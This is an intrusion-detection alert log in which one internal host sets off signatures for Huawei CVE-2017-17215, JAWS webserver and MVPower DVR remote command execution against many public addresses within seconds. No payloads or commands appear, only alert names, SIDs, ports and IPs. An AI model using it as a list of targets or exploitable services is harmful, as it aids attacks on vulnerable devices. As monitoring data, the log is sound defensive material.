Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 64.204.248.79

Timestamp:	06/10/24-15:37:59.867470
SID:	2030092
Source Port:	49412
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.20.242.161

Timestamp:	06/10/24-15:38:02.643438
SID:	2829579
Source Port:	54252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.51.133.84

Timestamp:	06/10/24-15:38:02.828946
SID:	2835222
Source Port:	55338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.200.117.215

Timestamp:	06/10/24-15:38:00.207478
SID:	2829579
Source Port:	59202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.161.132.25

Timestamp:	06/10/24-15:38:02.837956
SID:	2835222
Source Port:	51482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.136.197.138

Timestamp:	06/10/24-15:38:00.133538
SID:	2829579
Source Port:	35252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 74.221.113.140

Timestamp:	06/10/24-15:37:59.829282
SID:	2025883
Source Port:	35066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.123.58.130

Timestamp:	06/10/24-15:37:59.951337
SID:	2829579
Source Port:	38428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.18.195.164

Timestamp:	06/10/24-15:37:59.927927
SID:	2835222
Source Port:	41114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.66.27.141

Timestamp:	06/10/24-15:38:02.656592
SID:	2835222
Source Port:	34154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 172.164.171.65

Timestamp:	06/10/24-15:38:02.242403
SID:	2030092
Source Port:	53060
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.143.243.166

Timestamp:	06/10/24-15:37:59.922412
SID:	2829579
Source Port:	49110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.185.143.113

Timestamp:	06/10/24-15:37:59.937775
SID:	2829579
Source Port:	51088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 175.66.140.251

Timestamp:	06/10/24-15:38:02.189767
SID:	2030092
Source Port:	51664
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.226.229.29

Timestamp:	06/10/24-15:37:59.996136
SID:	2835222
Source Port:	60446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 223.191.85.169

Timestamp:	06/10/24-15:38:02.241022
SID:	2030092
Source Port:	55470
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 216.190.189.185

Timestamp:	06/10/24-15:38:02.316251
SID:	2030092
Source Port:	33330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.229.41.14

Timestamp:	06/10/24-15:38:02.701067
SID:	2835222
Source Port:	35468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.11.232.27

Timestamp:	06/10/24-15:38:00.025563
SID:	2829579
Source Port:	40448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 13.159.171.238

Timestamp:	06/10/24-15:37:59.797691
SID:	2030092
Source Port:	39842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.2.142.241

Timestamp:	06/10/24-15:38:02.658653
SID:	2829579
Source Port:	58346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.175.16.45

Timestamp:	06/10/24-15:38:00.037730
SID:	2829579
Source Port:	50096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.201.89.180

Timestamp:	06/10/24-15:37:59.959524
SID:	2835222
Source Port:	47272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.14.234.212

Timestamp:	06/10/24-15:38:02.863237
SID:	2829579
Source Port:	37642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.195.94.23

Timestamp:	06/10/24-15:38:00.171881
SID:	2835222
Source Port:	37844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.79.80.1

Timestamp:	06/10/24-15:38:02.717243
SID:	2829579
Source Port:	37456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.238.227.229

Timestamp:	06/10/24-15:38:00.024162
SID:	2835222
Source Port:	52364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 41.163.180.55

Timestamp:	06/10/24-15:38:02.252101
SID:	2030092
Source Port:	39716
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 81.247.181.180

Timestamp:	06/10/24-15:38:02.162773
SID:	2030092
Source Port:	35750
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 100.127.78.32

Timestamp:	06/10/24-15:38:02.251453
SID:	2030092
Source Port:	42358
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 177.204.177.37

Timestamp:	06/10/24-15:38:02.313323
SID:	2030092
Source Port:	34228
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.235.244.224

Timestamp:	06/10/24-15:38:00.237158
SID:	2835222
Source Port:	42124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.244.109.56

Timestamp:	06/10/24-15:38:00.245474
SID:	2829579
Source Port:	43920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.208.52.212

Timestamp:	06/10/24-15:38:02.682611
SID:	2835222
Source Port:	53394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 101.205.228.142

Timestamp:	06/10/24-15:38:02.191670
SID:	2030092
Source Port:	55284
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.91.70.189

Timestamp:	06/10/24-15:38:02.711502
SID:	2829579
Source Port:	56870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.25.178.38

Timestamp:	06/10/24-15:38:02.498786
SID:	2835222
Source Port:	47358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.82.1.213

Timestamp:	06/10/24-15:37:59.946836
SID:	2835222
Source Port:	53482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.229.155.150

Timestamp:	06/10/24-15:38:02.641252
SID:	2829579
Source Port:	47262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.235.137.220

Timestamp:	06/10/24-15:38:00.032756
SID:	2829579
Source Port:	42506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.182.154.164

Timestamp:	06/10/24-15:38:00.244658
SID:	2835222
Source Port:	47540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 175.66.114.182

Timestamp:	06/10/24-15:38:02.152274
SID:	2030092
Source Port:	48888
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.29.159.134

Timestamp:	06/10/24-15:38:02.871465
SID:	2835222
Source Port:	38466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.12.201.188

Timestamp:	06/10/24-15:38:00.019152
SID:	2829579
Source Port:	57320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.103.216.158

Timestamp:	06/10/24-15:38:02.509056
SID:	2835222
Source Port:	43224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 76.87.100.69

Timestamp:	06/10/24-15:37:59.860897
SID:	2025883
Source Port:	56400
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 181.232.47.252

Timestamp:	06/10/24-15:37:59.793177
SID:	2025883
Source Port:	52842
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.161.75.219

Timestamp:	06/10/24-15:38:02.699989
SID:	2829579
Source Port:	56932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.129.137.220

Timestamp:	06/10/24-15:38:02.494045
SID:	2835222
Source Port:	35882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.10.140.61

Timestamp:	06/10/24-15:38:00.216411
SID:	2829579
Source Port:	34482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 64.180.193.8

Timestamp:	06/10/24-15:38:02.086431
SID:	2030092
Source Port:	35036
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.21.120.143

Timestamp:	06/10/24-15:38:02.850206
SID:	2835222
Source Port:	40532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.27.200.127

Timestamp:	06/10/24-15:37:59.961213
SID:	2829579
Source Port:	42564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 193.181.62.252

Timestamp:	06/10/24-15:38:02.128087
SID:	2030092
Source Port:	37282
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.51.204.222

Timestamp:	06/10/24-15:38:02.917908
SID:	2835222
Source Port:	47136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.186.79.156

Timestamp:	06/10/24-15:38:02.772411
SID:	2835222
Source Port:	43048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 160.158.220.221

Timestamp:	06/10/24-15:37:59.827151
SID:	2025883
Source Port:	51382
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.207.208.126

Timestamp:	06/10/24-15:38:02.822383
SID:	2835222
Source Port:	44278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.214.52.148

Timestamp:	06/10/24-15:38:02.512532
SID:	2829579
Source Port:	34816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.223.106.15

Timestamp:	06/10/24-15:38:02.909928
SID:	2829579
Source Port:	54426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.103.207.1

Timestamp:	06/10/24-15:38:00.236295
SID:	2835222
Source Port:	45428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 178.116.76.220

Timestamp:	06/10/24-15:37:59.858870
SID:	2025883
Source Port:	34410
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.253.99.100

Timestamp:	06/10/24-15:38:00.035608
SID:	2835222
Source Port:	41890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 181.74.252.245

Timestamp:	06/10/24-15:38:02.156695
SID:	2030092
Source Port:	57996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.11.180.159

Timestamp:	06/10/24-15:38:02.849196
SID:	2829579
Source Port:	41440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 102.230.19.253

Timestamp:	06/10/24-15:37:59.762945
SID:	2030092
Source Port:	50134
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.42.26.190

Timestamp:	06/10/24-15:38:00.223242
SID:	2835222
Source Port:	50042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 24.64.193.46

Timestamp:	06/10/24-15:38:02.143166
SID:	2030092
Source Port:	48458
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 131.34.203.87

Timestamp:	06/10/24-15:38:02.167637
SID:	2030092
Source Port:	39078
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.106.75.142

Timestamp:	06/10/24-15:38:02.488251
SID:	2835222
Source Port:	33812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.251.69.196

Timestamp:	06/10/24-15:37:59.927028
SID:	2835222
Source Port:	33064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.21.231.68

Timestamp:	06/10/24-15:38:00.038461
SID:	2829579
Source Port:	51092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 72.90.29.55

Timestamp:	06/10/24-15:38:02.122707
SID:	2030092
Source Port:	47044
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.124.203.218

Timestamp:	06/10/24-15:38:02.511832
SID:	2829579
Source Port:	40166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.179.59.101

Timestamp:	06/10/24-15:38:02.774996
SID:	2835222
Source Port:	39138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 37.242.196.25

Timestamp:	06/10/24-15:37:59.840660
SID:	2025883
Source Port:	33900
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 75.46.147.180

Timestamp:	06/10/24-15:38:02.083314
SID:	2025883
Source Port:	35834
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.196.189.226

Timestamp:	06/10/24-15:37:59.954562
SID:	2829579
Source Port:	33990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 88.157.63.21

Timestamp:	06/10/24-15:37:59.767523
SID:	2025883
Source Port:	60126
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.50.100.135

Timestamp:	06/10/24-15:37:59.998646
SID:	2835222
Source Port:	59662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.66.48.9

Timestamp:	06/10/24-15:38:02.495196
SID:	2829579
Source Port:	51876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.48.146.219

Timestamp:	06/10/24-15:38:02.825900
SID:	2835222
Source Port:	56588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.170.34.101

Timestamp:	06/10/24-15:37:59.971341
SID:	2835222
Source Port:	47258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.141.161.30

Timestamp:	06/10/24-15:38:00.224996
SID:	2829579
Source Port:	55062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.181.42.38

Timestamp:	06/10/24-15:38:00.208229
SID:	2829579
Source Port:	58864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 32.84.255.187

Timestamp:	06/10/24-15:38:02.236059
SID:	2030092
Source Port:	56122
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.14.175.34

Timestamp:	06/10/24-15:38:00.240544
SID:	2835222
Source Port:	39526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.184.123.16

Timestamp:	06/10/24-15:38:02.926997
SID:	2829579
Source Port:	42424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 179.134.3.40

Timestamp:	06/10/24-15:38:02.127508
SID:	2030092
Source Port:	36034
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.117.93.142

Timestamp:	06/10/24-15:37:59.979940
SID:	2829579
Source Port:	35362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.136.101.104

Timestamp:	06/10/24-15:38:00.271532
SID:	2829579
Source Port:	51048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 93.149.221.237

Timestamp:	06/10/24-15:38:02.137618
SID:	2030092
Source Port:	57064
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 204.127.150.87

Timestamp:	06/10/24-15:38:02.238179
SID:	2030092
Source Port:	51116
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.35.194.89

Timestamp:	06/10/24-15:38:02.823755
SID:	2835222
Source Port:	39666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 19.229.67.74

Timestamp:	06/10/24-15:38:02.156095
SID:	2030092
Source Port:	35272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 70.179.238.108

Timestamp:	06/10/24-15:38:02.180786
SID:	2030092
Source Port:	34516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.110.124.70

Timestamp:	06/10/24-15:38:00.134301
SID:	2829579
Source Port:	45440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.176.219.219

Timestamp:	06/10/24-15:38:02.672216
SID:	2829579
Source Port:	38730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.200.122.252

Timestamp:	06/10/24-15:38:02.758344
SID:	2835222
Source Port:	33982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.117.101.224

Timestamp:	06/10/24-15:37:59.928827
SID:	2835222
Source Port:	45682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.217.26

Timestamp:	06/10/24-15:38:02.854671
SID:	2829579
Source Port:	60760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.14.173.139

Timestamp:	06/10/24-15:38:00.274773
SID:	2829579
Source Port:	34678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.71.37.130

Timestamp:	06/10/24-15:38:00.272286
SID:	2835222
Source Port:	38538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 64.124.149.6

Timestamp:	06/10/24-15:38:02.172142
SID:	2030092
Source Port:	53184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.119.156.133

Timestamp:	06/10/24-15:37:59.968007
SID:	2835222
Source Port:	58160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 151.218.172.48

Timestamp:	06/10/24-15:37:59.750933
SID:	2025883
Source Port:	35674
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

